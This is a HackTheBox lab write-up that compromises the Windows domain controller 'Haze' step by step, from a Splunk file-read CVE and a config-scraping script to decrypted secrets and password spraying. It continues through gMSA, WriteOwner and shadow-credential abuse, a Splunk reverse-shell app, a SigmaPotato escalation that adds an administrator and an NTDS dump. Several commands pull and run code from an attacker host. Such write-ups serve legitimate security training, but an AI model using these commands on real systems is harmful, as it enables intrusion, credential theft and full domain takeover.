Sitemap

Haze — HackTheBox

14 min readJun 28, 2025
Press enter or click to view image in full size
https://app.hackthebox.com/machines/Haze

Haze is a Windows machine on HTB, focusing on Splunk misconfigurations and Active Directory. The initial compromise involves exploiting an unauthenticated arbitrary file read vulnerability in Splunk (CVE-2024–36991) to extract credentials. Privilege escalation and lateral movement are achieved by abusing msDS-GroupMSAMembership write access, WriteOwner privileges on AD groups, and AddKeyCredentialLink for shadow credentials. The final steps include exploiting a Splunk custom app RCE and leveraging SeImpersonatePrivilege to gain full domain compromise.

NMAP

PORT      STATE SERVICE           VERSION                                                                                                  
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-24 03:17:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
8000/tcp open http Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
8088/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
55584/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
55585/tcp open unknown
55586/tcp open unknown
55595/tcp open unknown
55614/tcp open unknown
55623/tcp open unknown
64687/tcp open unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-24T03:17:57
|_ start_date: N/A
|_clock-skew: 7h37m41s

The Nmap scan shows that the target is a Windows Domain Controller (dc01.haze.htb) with typical Active Directory services exposed, including Kerberos, LDAP, SMB, and DNS. It also runs a Splunk instance on ports 8000, 8088, and 8089, which stands out as an uncommon service. Since default AD services don’t reveal much initially, we start by examining the exposed Splunk interface on port 8000.

Unauthenticated Arbitrary File Read in Splunk (CVE-2024–36991)

Navigating to port 8000 in the browser presents the Splunk Enterprise login interface. We try common default credentials like admin:admin, but none of them work.

Press enter or click to view image in full size

While researching vulnerabilities in Splunk Enterprise, we come across a blog post detailing CVE-2024–36991, an unauthenticated arbitrary file read vulnerability. The post includes both technical analysis and a working proof of concept (PoC) for exploiting the issue.

The following POC is provided with the blog:

Running the exploit confirms that the instance is vulnerable to CVE-2024–36991. The exploit successfully reads the contents of the $SPLUNK_HOME/etc/passwd file, which stores user authentication data, including hashed passwords. These extracted hashes can be cracked using tools like Hashcat or John the Ripper to potentially recover valid Splunk credentials.

Press enter or click to view image in full size

We attempt to crack them using Hashcat with the rockyou.txt wordlist. However, none of the hashes are cracked and take a long time.

Press enter or click to view image in full size

Since the password hashes couldn’t be cracked, I shifted focus to searching for important Splunk configuration files that might reveal sensitive information. While doing so, I came across official Splunk documentation that lists various configuration files and their purposes. According to the documentation, default configuration files are located in the $SPLUNK_HOME/etc/system/default/ directory, while any custom or locally modified configurations are stored in $SPLUNK_HOME/etc/system/local/.

Press enter or click to view image in full size
https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/9.4/configuration-file-reference/9.4.3-configuration-file-reference

Since we’re only interested in custom configurations (as they may contain sensitive modifications or credentials), I began inspecting the files under $SPLUNK_HOME/etc/system/local/. To automate this process, I wrote a simple Bash script with help from ChatGPT that attempts to download these files if they exist. Here's the script:

#!/bin/bash

# Base URL
BASE_URL="http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/system/local"

# List of config files
CONFIG_FILES=(
agent_management.conf
alert_actions.conf
app.conf
audit.conf
authentication.conf
authorize.conf
bookmarks.conf
checklist.conf
collections.conf
commands.conf
datamodels.conf
datatypesbnf.conf
default-mode.conf
default.meta.conf
deploymentclient.conf
deployment.conf
distsearch.conf
event_renderers.conf
eventdiscoverer.conf
eventtypes.conf
federated.conf
fields.conf
global-banner.conf
health.conf
indexes.conf
inputs.conf
instance.cfg.conf
limits.conf
literals.conf
macros.conf
messages.conf
metric_alerts.conf
metric_rollups.conf
migration.conf
multikv.conf
outputs.conf
passwords.conf
procmon-filters.conf
props.conf
pubsub.conf
restmap.conf
rolling_upgrade.conf
savedsearches.conf
searchbnf.conf
segmenters.conf
serverclass.seed.xml.conf
serverclass.conf
server.conf
setup.xml.conf
source-classifier.conf
sourcetypes.conf
splunk-launch.conf
tags.conf
telemetry.conf
times.conf
transactiontypes.conf
transforms.conf
ui-prefs.conf
ui-tour.conf
user-prefs.conf
user-seed.conf
viewstates.conf
visualizations.conf
web-features.conf
web.conf
wmi.conf
workflow_actions.conf
workload_policy.conf
workload_pools.conf
workload_rules.conf
)

# Create a directory to save the files
mkdir -p downloaded_confs
cd downloaded_confs || exit

# Download each file and check if it's non-empty
for file in "${CONFIG_FILES[@]}"; do
echo "Trying $file..."
temp_file=$(mktemp)

wget --quiet "${BASE_URL}/${file}" -O "$temp_file"

if [ -s "$temp_file" ]; then
mv "$temp_file" "$file"
echo "Saved $file"
else
echo "Skipped $file (empty or no response)"
rm -f "$temp_file"
fi
done

echo "Finished."

Executing the script, only following three files are downloaded:

Inspecting the downloaded configuration files, we discover sensitive credentials. In authentication.conf, we find LDAP authentication details for a user named Paul Taylor, along with a hashed password under the bindDNpassword field. In server.conf, we find additional sensitive fields including pass4SymmKey and sslPassword, both stored as Splunk’s proprietary encrypted strings.

Press enter or click to view image in full size

Attempting to crack the hashes using Hashcat proves unfruitful, as there is no supported hash mode for the format used by Splunk (which begins with $7$). Upon further research, we discovered a tool called Splunksecrets, developed by Hurricane Labs, specifically designed to decrypt Splunk secrets.

Press enter or click to view image in full size
https://github.com/HurricaneLabs/splunksecrets

According to the tool’s documentation, the encrypted credentials (such as bindDNpassword) are decrypted using a key derived from the splunk.secret file, which is located at $SPLUNK_HOME/etc/auth/splunk.secret. To decrypt the values using splunksecrets, we first need to obtain this file. We download it using the following command:

http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secret
Press enter or click to view image in full size

Now, we decrypt the bindDNpassword field using the following command and get plain-text password:

splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Press enter or click to view image in full size

Using the decrypted password, we can attempt to authenticate as the Paul Taylor user on the domain controller and verify the credentials. However, we don’t know the username scheme like firstinital.lastname etc. So, we can create different combinations using namemesh and find the correct username.

Press enter or click to view image in full size

Now, we know the valid username is paul.taylor and we can validate his credentials on DC. However, we do not have access via WinRM.

Press enter or click to view image in full size

Checking the SMB shares, we don’t see any shares other than the default ones.

Press enter or click to view image in full size

Password Re-use

If we try to list users using netexec, we can only see paul.taylor user. However, listing groups reveals that there are three members in the Users group, indicating that some enumeration restrictions are in place.

nxc smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --groups
nxc smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --users
Press enter or click to view image in full size

However, by performing RID brute-force using netexec we find other users in the domain.

nxc smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute
Press enter or click to view image in full size

Spraying the same password on other users, we find that it is reused for mark.adams, and this user has access to WinRM:

nxc smb haze.htb -u users -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
Press enter or click to view image in full size
evil-winrm -i 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24
Press enter or click to view image in full size

Checking files and folders on the system, there is a Backups folder in C drive, but we don’t have access to it.

Press enter or click to view image in full size

ms-DS-GroupMSAMembership WriteProperty Abuse

Next, I began enumeration with BloodHound. Using the following netexec command, I collected data from Active Directory:

nxc ldap haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb --dns-server 10.10.11.61 --bloodhound -c All
Press enter or click to view image in full size

In BloodHound, it is found that the mark.adams user is a member of the GMSA_MANAGERS group. However, I could not identify any immediate next steps, as this group does not have the ReadGMSAPassword privilege.

Press enter or click to view image in full size

I suspected that BloodHound might have missed something, so I directly attempted to read the (Group Managed Service Account) gMSA NTLM hash using the following netexec command. However, it did not return the NTLM hash for the Haze-IT-Backup$ gMSA.

nxc ldap haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa 
Press enter or click to view image in full size

Next, I proceeded with manual enumeration using PowerView. Upon inspecting the PrincipalsAllowedToRetrieveManagedPassword property of the Haze-IT-Backup$ gMSA, it was found that only the Domain Admins group is listed. This explains why we were unable to retrieve the managed password earlier.

PrincipalsAllowedToRetrieveManagedPassword is a calculated (read-only) property in Active Directory that shows the list of users or groups allowed to retrieve the password of a gMSA, based on the msDS-GroupMSAMembership attribute.

IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Get-ADServiceAccount Haze-IT-Backup -Properties PrincipalsAllowedToRetrieveManagedPassword
Press enter or click to view image in full size

Next, I began enumerating the ACLs for the users and groups to which we have access. While reviewing the permissions for the GMSA_MANAGERS group, I discovered that it has write access to the ms-DS GroupMSAMembership property of the HAZE-IT-BACKUP$ gMSA account. This attribute defines the list of security principals (users or groups) that are allowed to retrieve the managed password of a Group Managed Service Account. In tools like PowerView and BloodHound, this property is displayed as PrincipalsAllowedToRetrieveManagedPassword.

IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "gmsa_managers"}
Press enter or click to view image in full size

Since mark.adams is a member of GMSA_MANAGERS, we can add our user to ms-DS-GroupMSAMembership, which effectively updates PrincipalsAllowedToRetrieveManagedPassword, allowing us to retrieve the gMSA password. This can be done using the following commands:

IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Set-ADServiceAccount -Identity "Haze-IT-Backup" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"

nxc ldap 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
Press enter or click to view image in full size

WriteOwner Abuse

Now that we have access to HAZE-IT-BACKUP$ group managed service account (gMSA), further enumerating its ACLs, we find that it has WriteOwner access on Support_Services group. We can also see this in the bloodhound.

IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "Haze-IT-Backup"}
Press enter or click to view image in full size
Press enter or click to view image in full size

We can abuse this by granting HAZE-IT-BACKUP$ ownership of the SUPPORT_SERVICES group, then take FullControl of the group and add ourselves to it.

To change the ownership of the object, we can use Impacket’s owneredit script:

impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' haze.htb/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1 -dc-ip 10.10.11.61
Press enter or click to view image in full size

To abuse ownership of a group object, we can grant ourselves the AddMember privilege. Impacket’s dacledit can be used for this purpose:

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' haze.htb/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1 -dc-ip 10.10.11.61

Now, we can add Haze-IT-Backup to the Support_Services group. For this purpose, bloodyAD can be used:

bloodyAD --host 10.10.11.61 -d haze.htb -u 'Haze-IT-Backup$' -p :4de830d1d58c14e241aff55f82ecdba1 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
Press enter or click to view image in full size

We can confirm the membership from our WinRM session:

Now that we had access to SUPPORT_SERVICES, I couldn’t identify the next steps. BloodHound seemed to be missing some users, or I may have messed up, so I re-ran bloodhound-python using the HAZE-IT-BACKUP$ account credentials.

bloodhound-python -u Haze-IT-Backup$ --hashes :4de830d1d58c14e241aff55f82ecdba1 -ns 10.10.11.61 -d haze.htb -c all --zip
Press enter or click to view image in full size

AddKeyCredentialLink Abuse (Shadow Credentials)

Inspecting the ACLs of the SUPPORT_SERVICES group, we find that it has both ForceChangePassword and AddKeyCredentialLink privileges on the edward.martin user. This means:

  • The members of the group SUPPORT_SERVICES@HAZE.HTB have the ability to write to the “msds-KeyCredentialLink” property on EDWARD.MARTIN@HAZE.HTB. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.
  • The members of the group SUPPORT_SERVICES@HAZE.HTB have the capability to change the user EDWARD.MARTIN@HAZE.HTB’s password without knowing that user’s current password.
Press enter or click to view image in full size

I went the ShadowCredentials way. To perform this attack, we can use Pywhisker tool. It outputs a PFX file (and its associated password) where the certificate is stored.

git clone https://github.com/ShutdownRepo/pywhisker.git
cd pywhisker/pywhisker
uv add --script pywhisker.py -r ../requirements.txt
uv run pywhisker.py -d haze.htb -u 'Haze-IT-Backup$' -H 4de830d1d58c14e241aff55f82ecdba1 --target 'edward.martin' --action 'add'
Press enter or click to view image in full size

Next, we can unprotect the certificate with the given password using certipy tool and authenticate via ADCS to get the user’s TGT and NTLM hash. Finally, we can confirm that this user has access via WinRM.

certipy cert -export -pfx vD2VrDek.pfx -password V8tOllozpOiiZ4AQhpqy -out unprotected_pfx.pfx
certipy auth -pfx unprotected_pfx.pfx -username edward.martin -domain haze.htb -dc-ip 10.10.11.61
nxc winrm haze.htb -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Press enter or click to view image in full size

Here, we get the user flag.

Press enter or click to view image in full size

Lateral Movement through Splunk Backup

As we saw earlier, there was a Backups folder in the C drive. It seems that this user can access this folder. It contains a Splunk backup file, which we download to our host using the evil-winrm’s download functionality.

Press enter or click to view image in full size

Unzipping the backup file, we get the following

Press enter or click to view image in full size

If we run tree command, we can see an authentication.conf at /var/run/splunk/confsnapshot/baseline_local/system/local/ path. We already saw during the initial compromise that this is a custom file and contains credentials. Looking at the contents of this file, we find password hash of alexander.green user

Press enter or click to view image in full size

This hash looked like md5crypt, but hashcat was unable to recognize the format:

Press enter or click to view image in full size

Searching on google, splunksecrets tool again came to the rescue:

Press enter or click to view image in full size
https://github.com/HurricaneLabs/splunksecrets

We needed splunk.secrets file, which was available in /etc/auth directory. Using splunksecrets we decrypted the encrypted creds:

splunksecrets splunk-legacy-decrypt -S splunk.secret
Press enter or click to view image in full size

But using these credentials, we are not able to authenticate to AD.

Press enter or click to view image in full size

Trying the decrypted password on Splunk login, we can log in as the admin user:

Press enter or click to view image in full size
Press enter or click to view image in full size

Splunk Custom App RCE

Now that we have access to Splunk as administrator user, we can use the same old Splunk Custom App RCE. I used the following repo to create a custom app with our reverse shell payload. We need to edit the PowerShell script to put our listener IP and port.

git clone https://github.com/0xjpuff/reverse_shell_splunk.git
cd reverse_shell_splunk
vi reverse_shell_splunk/bin/run.ps1
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

In Splunk interface, click on Apps at top left and select Manage Apps option. Then, click Install app from file button and select the spl file that we just created. Also, start our netcat listener in the background to receive the reverse shell.

Press enter or click to view image in full size

When the file is uploaded, we receive a reverse shell as alexader.green user.

Press enter or click to view image in full size

SeImpersonatePrivilege Abuse

Checking the privileges of this user, SeImpersonatePrivilege is enabled, which allows token impersonation. We can use the famous potato exploits to abuse this and escalate our privileges.

Press enter or click to view image in full size

I used the following SigmaPotato exploit to abuse this privilege and added a new local administrator on the machine.

iwr http://10.10.14.202/SigmaPotato.exe -outfile SigmaPotato.exe
.\SigmaPotato.exe 'net user plugin Password@123 /add'
.\SigmaPotato.exe 'net localgroup Administrators plugin /add'
Press enter or click to view image in full size
Press enter or click to view image in full size

With local administrator access on the DC, I dumped NTDS file using netexec and obtained NTLM hashes of all the users.

nxc smb 10.10.11.61 -u plugin -p Password@123 -M ntdsutil
Press enter or click to view image in full size

Finally, by passing the hash, I was able to access the machine via WinRM as the Administrator user.

Press enter or click to view image in full size

Thanks.

References

--

--

Abdul Wassay
Abdul Wassay

Written by Abdul Wassay

Perpetual Student | Cybersecurity

No responses yet